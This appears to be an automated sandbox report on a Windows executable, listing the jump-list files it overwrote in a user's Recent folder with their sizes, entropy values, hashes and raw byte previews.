MD5:	459AD88AC4C573ADD60886F37D576B9D
SHA1:	73F6624332A731BBEE996A6717B38CC4AC3AC754
SHA-256:	65ADE36BAE617CA64546BE8603936179D68C22DC83DA8C3DD7DCC6912122BEFD
SHA-512:	7C6A2745CA4746ACBA23A767104501015FA80E841F052D2C196F6A97D8A795329ADAF36039B0BCE6503D995F08C86BFE99E598166317E6854C8DC24C0B088079
Malicious:	false
Preview:	.....T..e..@.M$<..4:M......u.b..K.e......<.....,.....7...JME$}..G.......7..R.E=...)+..0<.>...!.w.W.....".....6......N..7.V4.jq...f)..o..=..$vGx...OZ...@......K.I.%F.K..6.R..v.H...\|........'...\P.=.N!..m~...7....91....0.........5l..D..q.bF.....'Y.$.@...1..P..X.#-zs^.......U.S.i...CM7......Z/..;..6p..&7.?o..7j..&N...H.i.y..n....5...o?&.5":1...sz1/FB......OF.Q#ff....V.....9.un.vy.>.......P..=.\|DH.a.(...S+...L..la p.hW.......ku.Jv.9...D.g.o..V......Ch..j 9DE....t.Oes.gH..4g.H#z.G....c...x...G.x.....S.4..f...s.Kl.v.u.z..#.).....M.....t...Q...vX.,..w.rP.2....H....9.....a._..B3.<.{....E..g.}p~B.....v../.....#...>....5.C.W.(d..u..c..p.rk?+.....q%.W...i../V.fCM....<.NA.^...W...c...Y..L..H..}.8..W.p..~..2...a......}..{3..48.4.M.9.Gg.E.?../z..&...a.L.:.9}`.i.n?.....L"K.^....6.E..@C...+n3...........L0...,.aX.7..._....o.rBb..e.p..e...6.a.Y.O....1XJ.....-..;.....K.F.......S/*3.P.D...-.CMv,..(Y8...ne...b7S..KI.T!<.t..5.`..:..Z..g.FH.?......."...u.sB.

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.956291265126906
Encrypted:	false
SSDEEP:	96:3YNRCJREJWQrZhJo+sCS2Z+iyDF/qOnlNxqyUl/QD/5w8wFuQ:SaR4zlo+zSS+bDF/qkBqbNQFfLQ
MD5:	01EE96398F46079D29964803C43CF08C
SHA1:	CE9D92229DF22D2C6D51E0AC623F57883C5AFB40
SHA-256:	074C5B481D997F864B9F48AED4E96E71A31A3C1426FF1D2DF5267396931A6F9B
SHA-512:	15130780AF8A04F38629CAABC8D28887090FB3F221A3EDF63BFBA43F53FD6BA6A2C9E30F49ACB280DDDF90E2A80DAD2E0A2D3FCF9F5060FBC51768888D3C7113
Malicious:	false
Preview:	.....z., .P..Zm....#;..Y.t8.-.\|...\|D...o#...\|.w..";.Y.........eo..@.}.Vk.sL.......5.%...Ub}...W......+..5we..)~..f..x.Y.Fy2V2......\7i........Q.8.y...X...^....?.w.."..{....s.j..J....Q\....b....._N.nV}l.e~Y.W(..Q.53..S457......!./r...7d..s......M..?.%...1.....Gi..W.\...^.DN1....8......:..=:...%...:..M..!..5&..v....lVg..B+..BK....=...i..Q.~...0...c7..........).../.......2.....4P..$.`cT...7...h....!.{.D`.7t......2.W.G.:X..:....!...U.1#.....e....7...s...Xp.o.l2M....!...@?.:..K.FtRB......H5z$.2Z.S...?[:d@.Q..A....o.'...x}Bn!wWS$@......cp..`..m..60.!'.N.@....@gL.L.B6.z..1xbq..?~f..o..P.K..J."!.xe....i.%.....Wr+F...}..G66.c.....2._..ac.=.w.,.%..:.V......M...?......./.ux...M.N.....v%....>.G....C.7.-...K[Z.x(..Ew-.."....3..s.....hi#.V...f.].1.@M..R....A.....F...n..........-.9...z-....B.M.........FN....\..Y\ W.Q/.H..~.h.D..A..........s.......wY......).....y.U..^ca@C.....<.....a...j+T...p.B.,...]o.w...1...0....U..w.z....4u(....[...c0

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\61ebb1e65cfcb8da.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.9287163295764485
Encrypted:	false
SSDEEP:	48:o2pC0EOU1CB83yqDbjK+Q6V76kY8hA4WV8zYgrx04FRMPQDjJ80G4LCqlsSo1sG6:ppX9Zmy4dh1vY8hA4Wax0yCPQj3ZomG6
MD5:	0CC08577CA86DA2EFDB8FE79C9BFFB0F
SHA1:	697A19C8098E2FA51F9144CDB0FBC3818BB72A65
SHA-256:	8653E25FA5FFA80FF191746D943E51945C3EEC9CABAE171D9023CB52069AAF43
SHA-512:	1BFD22EDE1BA93D064C2A871FDD9FEAE25861C5052AA69ED4937F6B647E409957C0156A8CBD8F161C7C1537955724D414C47EC5AD3EEB63301A6CDA938DD6F50
Malicious:	false
Preview:	....6.O...,.8.b.zR....W..T.,.l.G...i...r...L.g ..k...=..Gp[.N.8.>.4.....0...6FY.......c4v.R...=.w.fU...+..+..t.1&..8...>...1.Q_.7.).f.,..IY.....c7....7.>...i..".lC..c..E.q...md....8K.k.....~.....?{.AY,........-.q..S.Fm..g.ow.<......f.ktC.7...&..... ......v.}qm.....qH..../......-..U.l.......:....L....2Y.....>7..d..!.....j.D@..r5..dL.30o.\F......]..b..Q...n...LL ..2!......... .".kM......."qR=96.....].\|S.`nzZ.iS.m...d.D....8....vL..,...7z(?.'..s.e.U..E9wg.C./p.i.7....+/q.\ ..Z......=..%.. .n..Y.!...<t..H....Eok6....)......a...B..#..P..?e..HXNT..93.........-.c....n..t....An.Z.)..7%...o...L.M}.5.$.X.2.."....@&.`....j>...,......=.H]....G...s...K.E]......N.......IH.v[0...c..h...Bf...(.z...Z.c.'\|..y...\7..M(...-../_N5~c.<{A8.z~...T3@...-....-..v.<.z'.bVe..L.C..y....\|.N.$L!....^Y......R...&6.n"H...fv..P2.#5[.......(.}v....O..5.sS.55`.'#fl..&U..b.{..S....LK&..........T...L.4A.s..b.uO..Q.%n.%.8.fK'7Z0....y......d.A..R.`@F<...}...Z...,.7b?

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\6d2bac8f1edf6668.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.936741410231159
Encrypted:	false
SSDEEP:	48:iDf17qFAJAVV5IhwBUZgGIpRmYXa7wPre3qSFXLr3g1YZJkIJ+6anHXXFuED:q17+zIhwBEjymE0wPYXLr3JkDnFuQ
MD5:	6EFF6BD7B094E75CD88E8E85FF503C7A
SHA1:	C44C0E158EA7CBA9B2E50B8E95303D1334AFB28B
SHA-256:	704DA205F1131FAA6F4D4534CF49384A157D3C72325A5368DAA19AE3D149332E
SHA-512:	510D13A3DF325763E9AA52EF0B6C31F75F5782465943F2B6B1D4BA74868C447D050C7501CEFC440BC6CC4DA44F64C4DAD777AFC56053B90E00D1D9E4C2FB69B3
Malicious:	false
Preview:	......\....X.}..9........3.#..Y3.C..W....7.K.$....A....)<...(....L...O...E..n....F...,...:.....=.......G.p...0..P.>.....m.h...q.....R73q%q...].v-....6..npBB..}.....;OC.nKrc4..>Y.pF..?dL;.Hn;@1I..Z...<e.:...c.%7E..$...O..&......M.{...wgaE..Pg..s9p..h..o.].'..m9.6........3....B............v3DH<V..(N.~.\plWo&..p.CB5.)V>...3yd....x([.....Q..(f...(./.._V..".7.(.i.>..{R....R\|.\....-Y.2X.=....N`w..OE.(.Y.%.....W....Z-.7&.......D.M..Z.;..rv....S.......R.....Z.>.m&\|.5...]%o..Q/......b...7.."V..-..v.-.r._vZ.../.....s6.pWZ<P..x.r..lE....I ...o.....kb1..MGY.F [...[.......si.Eb.."../s....p.a....^U..0....4wDV2\|.,.6D....l...ak..'x.5.2...\|?c...@.....bv...[..Y..C.P...d..d.....&']..\|. 9...#..yf.?...e....=...C{f..] i...."^5.}..e&!....`0\O....UT6...j0.5GX'.../.....\.Yy.=v.U0.n$...N_.."..c.bB..Y.x...6F....n....B.&.,..'...$..4.\|..m....q(..[..B.w.5..3 ....Z....._.:...jP..T..W%..w..i..Eke..q....Ct..L...#t.`.6&*.a.F....H.qaW{...{n\|U.J.)a.....n.e...b.N.M.9..5.xh.Y.dr.

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\78f0afb5bd4bb278.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.941934788611593
Encrypted:	false
SSDEEP:	48:21E/muRwvJsNXyU/yIVanhXywryFyVnJGL6CwrrQvcZiSAydMcq+WIR+gAmNhIA4:21JuaDIchXywwyVJxCwHumdMcq+1x4A4
MD5:	1A80BBB7462515B956AACDA02BCCD33F
SHA1:	7E9A0BB2A26815B41F440DEB28BD8D475E419356
SHA-256:	8EA2350E6855038537B362E1E32A856254FACB5896EEA191813F0F56A1BDFBE4
SHA-512:	F7F1CAC0938A7E429545EEEF15897E2553210533D52A028D2765A1FB88F2850E2761E6DF777837D718881E5C7C66D691387C18EC285ED7F6E7E3CC742B9CB996
Malicious:	false
Preview:	....P....s.9Fu5^....2...?$..'..$.x......xQ....\|:}.7]t=...O.#.oXH.w..?.X.........!?...$..^.......v........\|...."i.../.3....3....JXT..bqp...O.......{_.....O].q.....~..R..6.(......\|.N.....n.1...xW~.I....#.x[.#({.{.......R.e. \|.FUs.X..R@D6.,>&...1.e..f..`\|.......Ur..E.\|....q.2:.}.$s..+%o...(...Q....$A.\....w..~..A)QI.".uPQ.......7.J.R...zC.!.[..NX...WMt.Y.j.......zL..c$.Z..W.....5.)..G..^..N$.l.....X...`..g..Lm0i.P..L.a..iji....4.. ..T.T[.B.r5s5....g=.}.1..5...O.'....{."7...Y...V'......k<....W3BHX.].D.>-{..?...>.o.....O...R.~.jc.!`..... ..SYx;.1)3"..7.i.U.g...J.#v+.AG..&.w.G...]-..I..VH=.d. .....d....v.........w.1._N\..y.g.$.(V;...>k.I.PP1#.069.M$.H....^....uK.I7S...`..s.y........-.c..;.x.qk.....k...n..X...c..f.L......^.Yi..s...Dg..&q..M.S<Sj>y2.Y....A3.......q.. ...B.j%.w...XJ.....]l..NK..q~@.9....$.....LL..!@..c.tm.u5..<.2..!......."[...........n.....Ih.hk..a...m.z..z....7...{....2..~mI....z3A@n....9Jd..{.].Av>`.#...V.}.8....7...

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\7e4dca80246863e3.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5966
Entropy (8bit):	7.972397376004895
Encrypted:	false
SSDEEP:	96:/COx6DLoOzsNtlRXTkKVCKZNE6KSWtog6Hn4ztiAEXBUhNuQoNWH3A/xA7qQRFdR:pWANtPX4KEKv5Wthz/ewNHoQSIndo4+e
MD5:	8600BBE12D9BB88E919DBA74E3B7B5A3
SHA1:	C48E9E9626D9E5836DBD51F3B909E6243CC55328
SHA-256:	E3ED6B435EBB779F6A1251C487C11276DF28CC93E04EB5816EC06A9593984FE4
SHA-512:	5D9179123646405827D7CCEFFE128A4C5B55A7F2FC3DA5C82DD209AF7629F41B5C565AE6571B86CCE1096FB0F334938A050555E07D842725D1D7B866D611F925
Malicious:	false
Preview:	.....`..P.+o$...S.Ky!$m..a............e`...}...1V.....j.4....,.u.?...)v...)..a....(.3,...8#V....&...`..j.Dx.$.....Q?..p..A}.s.5.UG...5.m..+.Bi..%.U.....!.e...2I...h.!.~:T"A./...5..+.F.V\|7...P.....X.sG...Wj...3.GG..g(.>....>..h$#\|A/MA4..PD..3.DF.?....\)a....}.8:...3..F..C....,1O'.#.C.D..Q9b..0v-...s.y....R.s .d....<...??.......Cw..u....^Dy.p........\|...0...&r....v.r..P{.D...A....#(..\|8.N.{.].(#...!E.M._.`^...P..S........W.Gt....M...u...............{....V.J....R,.....6>.......\r..........w...:..w?..AA.....^H.{F..6.9..C.Vp.X..t.7....q..2..Y.0.w?m.(.y.....).CP.&...).}..Q.J.p.Jh.=....c..<..JE.\...&4.p.....d.k.r..5M^$...>.5!T......(.`.:.P.&Oc.,..n.(...V5.A..1...m.o........:.@..Z-...pj..{.'..h~.....\...r.<:.Y.sz.j....:c..i.....I{caFV:.o}`#.kG...G...Cw.I.rc..........O..G...g..?W...w.}i...I...6Ue.].^I.}.K.:...)e4.r...z.........#..l..J..z..v.^:f.\K.x.\..0=s!.KE........c/z...[6.....n.^.J..j`........l`L(arJ..Bq.....jR......K.}..}.G.

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\9c08ad74ad8708df.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.935583001281712
Encrypted:	false
SSDEEP:	48:DpqTQtn1D6IuEF4fg8Yb5LbX0SL3y96LAnLl3B3tR6hhy2MYiCgYweISsJEKCkav:oQt1D684fg71cUSeAn73tUg2MYiCgaKe
MD5:	0FDCD6538AD0C5D2901037282AFEFDC8
SHA1:	16825AC80363F1371B23D0AFE3086D416DF060FE
SHA-256:	3A9528A886CAF6A7CBCAE88FDAC31B7CF713113726BA98F434895BD02C681F5E
SHA-512:	4B0D8C9069259F3CE403D312EAD5DD78E14724240F8002AC826D4D8FD9F7D7438F25B547834CD27CC71C3E32F4196B1CDE57D6E9C24BC9572B8797989D0D5BF7
Malicious:	false
Preview:	....X...1.z..l...3.....;N..-<F.1.Rj.A..+J....<.\......j.nT+I._.....[....(!.Q.u...`jI.:5:.....CZ.....y.....v.{..v.Rz4B..;.<_k..m.G..p...1`.x;.Vo..:H%.i..L......\':J8Q..P..Q^...z..a..#S..J.z....\.WG...o....G.8G.....Bb..p.E.9.;.7.d..S>.\|Q.D..~.0...;....p.e..\...IW....E.X..<...2..};.l......N.fpC....#.Tj.\|..5.....t2....P.}...2..8d.{...x.....8..v.e..........h...z..\^.....3.:z..X%...Y......H\|&.s.1.(.<#T..-\|r......Z...r.B3.@.q...A..<"...R..iJ]......9...C.+..2....h~..d.ibz...v+\|KMd..8=..b..Y...."s..2..o.......K.Oq>.H.eCM.nQ....FoU.I..(.x,.................N./_g =.D9lHD.$..\_......n.4.s$,Z`.C#...!....'.......+.JRxe+x.&=J......J..v...hx.&VUF........A.B.Z.....3 B....)p..(h.:.....pr.....&..\|...g".....\.M..Z>..59.=>../w..A.hDc'...].<.%u.D...9..rd.0....<s.YD..B.F.4[.u=p..;.A.l..3.s....%.uy.5+......q.m.nZ0._W..N.Ra{t..:4...D.&Wf..=..H.]..P.d.W7....&....>.c_..~....(.........c.(..M.=..6R..u..No...j.I s....c.P{....#@.G.o....f..&..Of..~.!\|.B.X-t...-.

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\9cfafb05ce914942.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.92630306603871
Encrypted:	false
SSDEEP:	48:JcLqCG1Y/axH8SI77zWMGj3LL66vA6n+m2eoW52mhA8+v8R8pbbICQbi3tpYv/Xp:JcL7GzNa7Ofj3XrnhxoWb1erQOXo/FuQ
MD5:	15C3445EF1CD037F2C98B634C4AB3F66
SHA1:	F6A5AEB67F8481D11866AFE676A4A7AF1AFB153F
SHA-256:	83159E0244A5035AE31334795A1C2C29F3F872C4CC5A251E0AE27DC4E4CA259D
SHA-512:	04130197ED822DC64EA86C5B7A882EE2F86D2A5A4BB701211597E8C3C1848C30FD3F9A23407006B9802B6D4FB5B21AB9C54E0D58AAE5BC3708DB164994A0EC75
Malicious:	false
Preview:	.....G.S.......ka.....H].!q/u.@..U.SDdp.\...\{.. .`ew..B8...kd../.v......Y-.0.._[..!.o.%72jd_.....s.8P.g2....-.?t.l.bX.w-..+..6..t.m.g .S.J.%..9'.a.......2..1.U..n.7.b..Q.it..3..g..uq.8,.>................l%5&.AZ...gc..@.kL/+Bu.T..Y.0.S....{..<2Fn.O.....5s..> .0r.o"..z_.n..88..=.,b.B....bp".".s.T....b^.........A...tW.Hw^D8k.;P.\|O.k......ea...).,G......h[xUM%..M...=m...@....o!n..B.f.S..!.j..S.....0.........bWR8.Ts.U.<:..f..v p...@:.=#.i...h........T!..NAN..l..i $?..x...Y#...a........^..^.B>.......b....w"...q..M...W.E.....u tM';.h(."B..H....T.a3.:.....&...- .v..m.\N..i....}.t....."..Rc.y.H..(....G.S.".=...g..#M......%..Bq.4.....d\q......q.E.l.v.R.D3.9du.Q.5..y.....U.j:?S....>dSU.W.X...BB8R.yt......f.5k..R...k..)o.Z..7...Bo..lfS.y..............{...Q..[...G....D.......Sj...-T....s.m.....d.ii9.Rr....&..h`.B..R>Cz.0L.W...L.P.x}t............F..M.M...^#...1%..a..V)l..\+>.....Z-\|l.b....'...w.l_Vg.TR.8A.-.k..bOZ.L.~..(.?~a*.S....WJ.IzrP....kb...

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\b8ab77100df80ab2.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.922663925847295
Encrypted:	false
SSDEEP:	48:vrqAjvWwvSwSdV8B1Q/2fh9OmpyrA/HPd8NBW0Zr4psKeUcW1VKBc3RXFuED:aw6wS8DQeZ9rpyroPdE15uj1N1VKBcBp
MD5:	452C844EE6AFF80CEC69C0BE4F57CFFD
SHA1:	9B31FC5DB29363A29DFDA022AAFDAC38A1E1F07D
SHA-256:	21A7376BE84F2BC76D0D9D1A52E10F3B0D5D5820BCB6A21844FD0EF5A943D603
SHA-512:	20DCA038C510135FC96B0554E8A6332D58B367E374FD64AA9FE1C647659F87754107FA930711100AF7CA6D3491AC622DFB84EC5C64A37F02429BAC6CDD38BE09
Malicious:	false
Preview:	.....n.^.k..6:d..dJ$.<..C...K..h.<S..p...!)r.Be>0.aP.\|.[(..8..\|.8..>.=......CHc.~....:..^o.".....pL(&.._.....Q...{Z.0.....(HO.kh.....N...1...(.-...#k.<.3%.+'..QFQ...\.....+...da..N..i..3.n$..Ac....w..$..'...0)T$...........@F...+]I.h\.P.;.!.........+........%.T$..V..t..iJ=y.......$}p$.&..x...;.i3....K[J... .....-.]x..L.}=e%K...1=..........b..Ao..a.......O.Q.t.....2....cu...8...8(.U.7..w...T..l.4.;.....f..yv8............}VF.V#.D..c.K.jM;W.F....m...s......Rb...AU...<G..Z.....x.....p...,.pX....zX..;%.K!.:,..._h. .4...v 9..<O$..68D..Fn...us..%......#ol..F.\|....Y.......c...!...Mz.f...6......;......I...._..1.9&.x!.T$...H.g.3.R..5.i._.ev..kY.dz u......L{..&<I.pY.!>.....d....W......"...uU;LE...I$.DE./y...SC7.X.a..X@...n q.&z.b..?.5......g.D-4<...I.1...z.dJ.1.(~................O..KG.-v<..i. wld.Q...D.....X.[.+.0.o....a.!C.N.....9c....<t..K.\|.]E..l.J....j..a..6.]b.a ....z`D...9;M.....e....;?%c.....q..u..%...i#[.[q.c.2K......O../...jkp....L.....{.>.#...

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\b8b3a97bfbf120b6.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.929066848916239
Encrypted:	false
SSDEEP:	48:HkJA6gfTMGWrAD0x1Tn4Zly9CJ5UxB58GUiqIgKLTDFsBSPoSXFuED:sA6gf6dPUlyUrUxoi6cFsiPFuQ
MD5:	ECE6A573D17420DEBCF4AC797885E313
SHA1:	9BB454AD80201AB0A65FA1FEC648385D1B3C22A0
SHA-256:	D8AB54A6698D743E56177EC91D9D42531C13BBF4C50F89AAD741CAF0E050A1F4
SHA-512:	801478EDFAD430B8F3D3CFF2753D51839A3838BA586493007692DE6D261B7D8E48072B2A378C8AE347B27A508802AFE61D704F85F5DD35F7BF9EB054A826D57E
Malicious:	false
Preview:	....}.J.Z..%.[\|...+.[W... .=ak~yr.1.b..xh.-......Q..x.....z.g./....P..:..O..l....]..U..(?.h.Lq..../...j.e......C.>.nQ.EI^@...r..p."...0.Bu....Xu..+.jL.N..i...&..Dc.\|..G1.Z.N;.^...4i.R......o.......-...$....59....@...u.Y..:_......5XB....X.!.../>.z.c....`..s.B.x@l.(.C.SN....\|......$..X..@..%'M.x:..O......-.bY..z.1.......XY!4.d.Q2..da?.V#C%...l.,+...O!..Wxyew.4..t...^.C..!.._.K.g.c1..2B..:.....!:q..A.j..&.q!h..(N'...../.w.,0.$._....x.OEf45.l.6....<.9./....+.l.3....#.q].K.b...^.....PQ.-..g...[H...F.S..4...h...j0].W.R...p.S27].+..U.........2.Y#.....>.!N..........Z..F.JD....8:e.P..!."....-.Q....p$.;.D...y2.%.S.J..'./...zd.....u.....`]^.P...9..._..P...... F...p...O5.J0.6....u.3.!H,.@(...w...oQ..Z..X.WZGl.g.......srv.x-..Pn>f[...........L./=I......!...Vs..cs.P6..;>.v....iliU....e..3./3}.EL.Sm....?.E... ...h..l!......>h...:..m.J..!..!..Y .B...@/..F..K.T..`._.....Z.x......7v.q..7.v.<...5=..y...M......EL L...l:;..Nj2....v....C..3.7.r.

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\d00655d2aa12ff6d.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.9378979441586575
Encrypted:	false
SSDEEP:	48:BRM8CDPZdvxBcBvixs+JdYzOvUruewm322MijhH+VNgnR9oUoLfNvW69fpsaCwrj:MTZdgiqXBWm3RMWYoR9+vxpnCwrnCyFX
MD5:	499CB3D38F8B0F59F22702626708501F
SHA1:	EE687DBF825DAB994CC134E7A7AF4C03123217EF
SHA-256:	8172DF3EE0D9C37B7A66C55854488A863E58F60DAFB3B0EB66A6FCC9A73421D9
SHA-512:	4A281DC73C1E2C303AC6FBC3E9F4754592F67DD6F79F1397767036C5574D8ACBACCC43044422A781021C3C05FE0D722ED188A798AE8F487FF22CA15B77373D57
Malicious:	false
Preview:	....(.fW....+.Q"...z....F.....g8..`..E...b.z..\|L......j.n.z#.H&N..>.g/[m..L..@.M.....nl.&)I.....z1!......[..e.:?.p]...(;m.\.....S....Y.]6..e...'F..s......f.F{..i.6......!2../...\|..{.O.../P,l..=..0...b.0.O=.M....j$.r.....J.6....L.%a.o...b93'......0...".=..S..B.5....g.}..v(.....i..Ir.~,........@....\|........V.7.q..n....."..r>..Z.P..}h..D.p{.;...:....'.%F.h...<.`.#.3.~......H..f^J...r\..i..6.5\|.^B.V."KyqZ.N,\....\...\|p...5..%.ng.......:\|C.."........w.'i.....3.//...\V.R#.9..=\<3u.A.1`N..]@.r.bs....:.QD=.O.jb,....lX..p..I.E.n...G.{...(..k....Z....r..p.......T.Mv.mT.D.......].h..P.RU..C.J?.{9.........I ..x.6n.d ...<.....7..`z3.u.`M<B.y.......h.....1...(jz/.`...!......q..."C...f.a....Q>..].MY\4.9O..~..]..)Y....m....K%....G.<.Su.K....6...........>r!.@...E..F..eV.2.M....=.E.k.?.........Q.....a.DXG..X...}..\.:\....bu...I;4..S....i..Q.{.....&qf...hV...... ..I...._N..EU2..O.Dp..-....0t..~.N.x#a1.p.(P........8rh...z.o..\..!..$I?...C..

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	9550
Entropy (8bit):	7.978939137621537
Encrypted:	false
SSDEEP:	96:RD4FrgS7En3cr3Bepr+W3FunNmDRSShPYy1WXKkqCwHwNI3NkbyEJgJq9jnZimLw:9BYCMrL8XFwXc9yRLdnZDGg0tRtKlQ
MD5:	3EA34F0A4A5ABE647B5C54726C27DE1B
SHA1:	94FD7274903AE469220E316D68AA09B3ED0A2640
SHA-256:	0B9E6FB3BF932AEC56DD37708B02BCBD074C4B549754716A5A72BB585E1526E5
SHA-512:	D03406A342A27BE61CCD0E2A88FEFBB2F55FF346D41AAE3283488ACC894FE0D86C1D0D5328B100A4F3799A69945728F4B95B565BB4243F9AE34A2812AF4F8628
Malicious:	false
Preview:	.........$u..\|.>...ni...b.g7R...._.......^..?_...E..r.-...{..#........../.x.:..x]&..D..C..v...~.[T...8W?.?.N..R.W...W...4.I.2x.=7.F,.3;$.$...g.......] .....-5~..L&....mAx..R;R..(5...s0.0.w..X..b..y....9.k..i.]S......Nf_/..mU.Si.U...0...:...cNA.J..B.6..W.WoDO<~-Mq..F\vf...'.".O...w.._:.]...rA....=u.f....s.-.T....X..g.DJ.o.,?...k^I\.;.}.6...Ay.F`.....{..#x...)..t..W...^y... .......h1....l.5......5..<...c......dZ.e,.6..@)......^.X....>...w..&.@..U.....-:.b.....uv.\|E.I..Fx..p.....XST.M..~...cL(....w/.O$.E...3.nL.8i...F......y..R3....)C\|.']..SH."..]Z....E....c..Y...."R..{..o%.W.v.l.v."......}.R...7.......M]..{\.........}.p....26...........6..4v..e.g...#/..rJ..?..qz.d ....I....(. cz.;3.6A.7Wy/9-z.d\|..+.~..b.."...m*.`?..YY.>...{x...V.Q.gW...6.U...:V....".T......s.x.'...6/...9".erh0Z.RU.h.B...A7..Zcz5.{..x8..._>.........O.h.rA..:k?..C;..I-.eh..,z.......,.qu;..o.( .+.\..^...i.D{.9F..A.+z......j.'.................<..'Goo

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f18460fded109990.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.93136325016813
Encrypted:	false
SSDEEP:	48:av370/MGC9EyzQxGK/jTZW1MaqwcsoblxYl8Abs+u3WfToTc/JP9r5TzfDW00lp2:4m0EycxGejVZnjYmiTLowJ1FTWoUOIpk
MD5:	BD2977BD45F29DF2244705DE4F2750BE
SHA1:	0AA84118F54B88F875C40D30481B18BD2B546855
SHA-256:	1A8BBDF48E3FB3F68A3F654C43904B3594CEC4ADA1CB87EC57A9F0A15AB10444
SHA-512:	4E094D422303E1173B924AE61B8913D5D45D091898B2D22B96AED5005805745333BCC740088F99CD6D09F6728C13CAB7E660645721C4CCC8F5EF2E2C2EA7448C
Malicious:	false
Preview:	.........K..u....s..3..X8.^a4]....f.M..Z.c.pHQ467. .....V../..k..;P.,%.u...i'.<............\|y.>Vt.&$n.h.Ww...]........./A.A.<._....2..Y......j5OA.bb....;f..&.?....M..m...W...`..e........+l8.N0....Z...H..#...k..K.....F......Fi..D{.2.....~U7.}3...%...;d....^>..R.[...e.{.[8....\|..^V.B^{...>..-i..x.N.<..)}.....:...7:...I...Ljw.h.1<wM..M....M..`j.'....T;...6We....f.Va1....\|.Qv2,...o..8.t.H`3.4.m.33..=.E.wjo.G6...~g^.R......\....l.....y......5_\. .8u...s.O.-7....QE...0..J.,ES.!bRc..x.9.X....l&..[X3........J0...'..[ ._Xsp..m.....l.bb.@;..5.~..J.K.^..UqXB..V/.K..hVi6.'..H%........al..Y....... .,n..t.C.tI...S....{.....*..TK../.o.-w.n.W..$9..A.G...s.........hvd...x.....[y\.t.j..tY.pD.K.g8...v.]]0up.F...H..R..E...\q.. LH`Xss...aa ..3q..b.t;...'....`"......7.}...S(.%.O[..5i..:.Y.%.\|.[ .....w(......0"?..>,C ....@&...q....mxT.Z...S.d.P}M].ieHJ;i4....a....Z...k....Shbfn.fq..v....4S@.D.p.....L...)q..D.v..<J..Xv.3\|...\|.m..~.c"........\|.GSB..v..g.b.wa.\...

C:\Users\jones\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\fb3b0dbfee58fac8.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2894
Entropy (8bit):	7.936026996223091
Encrypted:	false
SSDEEP:	48:PQE18Odi72rzwsBumLNZt1BsSjtLgZ+4NYaPUKpeNMJAt2jEIRDbTu3BPmXFuED:4E18NTsNt1BLBcZPPUKSMC8jEIRD3u3W
MD5:	60457A06D89F0014272B87DA3CFE96B8
SHA1:	F424A51DBD8817BEFB8C5549A0711A637EC027D7
SHA-256:	288A3E65A919D9B757C008983DE8FC0103F02BFE2CFCD7142F9DBF6843B001C0
SHA-512:	4195880499FAC4EFB8F0B49FC9E1ECBD0444CA5B8A60B66A55D850E7980FE0DFD2F85E723BA72F813490375A195234B9187B87ACDD151A0485F4D55A3333BF2D
Malicious:	false
Preview:	....q.K....;.~..3......aaJ....t..+Z<...wRa~aUH......c.N.k...Zo....N../.z..=..KeA,.:A.......Xr.W:B....XIM_..'q.g....S..[I._..).p..Aw.^..\Y ..!{.Z....S...[Cz.....k_...h.Ih..\[U...b...H.5^&."..e..3.^./M... .@..wP...:....iy#..LQ..w.".Q"...U\|.".G[{.........9..}.&...B....M}.$.\|".~`.n..9..\|.<.ebq.i.B...u..;[O4..A.....Y..i.v...7...5...TW.pn!gT.u.N..:...@...H.......sI.p......h..^pA}kq./ ..$f&M...s....s.....Oa,t0.I...2L..Y.Ib.\.5./....X...M...>......~f.:.........'......C.<....XU3]....F.....-..#......e..0.8F.&..Z....j.6...2D.C....h=9.{..../.&J[..x.....k...#~...[E...:..&..n....:. 